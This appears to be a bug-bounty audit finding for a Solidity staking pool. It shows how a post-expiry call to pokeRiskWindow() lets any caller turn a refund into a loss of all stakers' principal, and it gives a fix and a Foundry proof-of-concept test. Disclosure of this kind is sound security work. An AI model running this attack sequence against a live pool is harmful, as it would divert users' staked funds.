FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Post-expiry poke converts EXPIRED refund to CORRUPTED principal loss

Author Revealed upon completion

Affected: ConfidencePool.sol:649-658 · ConfidencePool.sol:530-555

Description

pokeRiskWindow() remains callable after expiry. _markRiskWindowStart caps the value at expiry but still writes a non-zero latch. A stakeless caller can therefore seal riskWindowStart = expiry during a post-expiry UNDER_ATTACK interval; once the registry reaches CORRUPTED and the 180-day grace elapses without moderator resolution, claimExpired() selects auto-CORRUPTED instead of EXPIRED and every remaining staker's principal is diverted to recoveryAddress.

// L649-658 — no post-expiry guard
function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
_observePoolState();
if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
}
// L532 — auto-CORRUPTED keys on the manufactured latch
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) { ... }

DESIGN.md §5 bounds the backstop: "cannot apply when no risk window was observed" during the term. §6 pre-accepts pokeRiskWindow only "during the active-risk interval the registry passes through" — pool activity is the alternative sealing path. Post-expiry, stake/withdraw/contributeBonus are closed, pokeRiskWindow is the only executable entrypoint, and no symmetric counter-actor exists — the acceptance in §6 does not extend here.

Risk

Likelihood: Narrow — requires post-expiry registry advance to CORRUPTED and 180-day moderator absence. Each step reachable via public entrypoints; moderator absence is exactly the backstop's stated scenario.

Impact: Pool-wide principal (and bonus) diverted to recoveryAddress. Control run confirms EXPIRED refund without the poke.

Actor: Fully permissionless, stakeless, unprivileged.

Recommended Mitigation

Reject the post-expiry poke; post-expiry, resolution goes exclusively through claimExpired.

+error PokeAfterExpiry();
+
function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
+ if (block.timestamp >= expiry) revert PokeAfterExpiry();
_observePoolState();
if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
}

Proof of Concept

Save as test/PoC_79919d88.t.sol and run forge test --match-contract PoC_79919d88 -vv.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract PoC_79919d88 is BaseConfidencePoolTest {
uint256 internal constant STAKE = 100 * ONE;
function _stakeInto(ConfidencePool p, address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(p), amount);
p.stake(amount);
vm.stopPrank();
}
function test_stakeless_griefer_converts_expired_to_corrupted_79919d88() external {
uint256 expiry = pool.expiry();
_stakeInto(pool, alice, STAKE);
vm.warp(expiry + 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.ATTACK_REQUESTED);
vm.warp(block.timestamp + 1 hours);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.prank(attacker);
pool.pokeRiskWindow();
assertEq(uint256(pool.riskWindowStart()), uint256(expiry));
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.warp(expiry + pool.MODERATOR_CORRUPTED_GRACE() + 1);
vm.prank(attacker);
pool.claimExpired();
assertEq(uint8(pool.outcome()), uint8(PoolStates.Outcome.CORRUPTED));
pool.claimCorrupted();
assertEq(token.balanceOf(recovery), STAKE);
assertEq(token.balanceOf(alice), 0);
// Control: identical conditions without the poke -> EXPIRED refund.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
ConfidencePool control = _deployPool();
uint256 cExpiry = control.expiry();
_stakeInto(control, bob, STAKE);
vm.warp(cExpiry + 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.ATTACK_REQUESTED);
vm.warp(block.timestamp + 1 hours);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.warp(cExpiry + control.MODERATOR_CORRUPTED_GRACE() + 1);
vm.prank(bob);
control.claimExpired();
assertEq(uint8(control.outcome()), uint8(PoolStates.Outcome.EXPIRED));
assertEq(token.balanceOf(bob), STAKE);
}
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!